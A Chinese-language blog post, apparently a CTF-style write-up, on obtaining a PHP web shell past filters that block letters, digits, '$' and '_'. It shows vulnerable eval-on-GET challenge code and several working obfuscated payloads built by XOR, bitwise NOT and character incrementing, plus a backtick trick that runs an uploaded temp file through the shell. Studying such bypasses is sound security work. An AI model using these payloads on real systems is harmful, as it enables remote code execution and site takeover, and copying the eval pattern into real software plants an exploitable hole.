基础版
获得webshell很简单,但是遇到waf的时候狗就不是那么有活路了,随便记记以防忘了。
先给个题好吧
1 2 3 4
|
<?php if (!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])){ eval($_GET['shell']); }
|
可以看到有个eval函数,嗯,是个好东西,但是所有英文和数字都被过滤了怎么办
方法一
php有个trick,两个非字母的字符异或在一起可以产生一个字母,所以我们就可以这样去绕过了
首先用个assert函数去获得shell,这里注意一点是,php7以前,assert是一个函数,可以通过$a=’assert’;$a(xxxx)这样去动态执行代码,但是到了php7就不行了,下面还会给到php7的方法好吧,不慌
php5
先看一下这样一串代码
1 2 3 4 5
|
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); $___=$$__; $_($___[_]);
|
通过异或获得字母然后执行phpinfo()
![没有字母数字获得webshell]()
php7
这里可以直接用原本的eval函数就行
1 2 3
|
<?php $_=('%8F'^'%FF').('%7F'^'%17').('%8F'^'%FF').('%7F'^'%16').('%35'^'%5B').('%5B'^'%3D').('%34'^'%5B'); $_();
|
方法二
利用取反进行操作,汉字的utf-8编码提取其字符再取反,例如’来’{1}取反就是b
所以payload就是
1 2 3 4 5 6 7 8
|
<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]);
|
故2=xxx即可执行任意代码
方法三
在php里面,字符++可以得到下一个字符,举个栗子:’a’++=>’b’,’b’++=>’c’
那么怎么能有个字母呢,数组的在php里面是array,如果我们echo ‘[]’,是可以得到ARRAY的,又因为在php里面大小写是不敏感的,所以问题就解决了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
$_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;
$_=$$____; $___($_[_]);
|
升级版
好了,简单版的是这样的,如果后台加多个限制,不给用$和_,而且还不准超过35个字符怎么办
1 2 3 4 5 6 7 8 9 10 11 12
|
if(isset($_GET['shell'])){ $code = $_GET['shell']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("NO."); } eval($code); }else{ highlight_file(__FILE__); }
|
在php7里面,(‘phpinfo’)();这样是可以执行函数的,所以只要改一下里面的phpinfo,还是可以执行任意函数漏洞的,但是不给用字母,根据上面的思路,我们可以对ascii码取个反,继续执行
payload
1
|
(~%8F%97%8F%96%91%99%90)();
|
但是在php5里面不能像php7一样动态执行函数怎么办呢
跳一下出去,不局限在php里面,直接去执行linux也是可以的
1
|
?><?=`. /???/??????;`?>
|
如果有多个文件想要特别匹配的话,可以[^x]表示不匹配x,[0-9]表示这个位置的字符是0-9之间的,这样就可以特意匹配了
参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
评论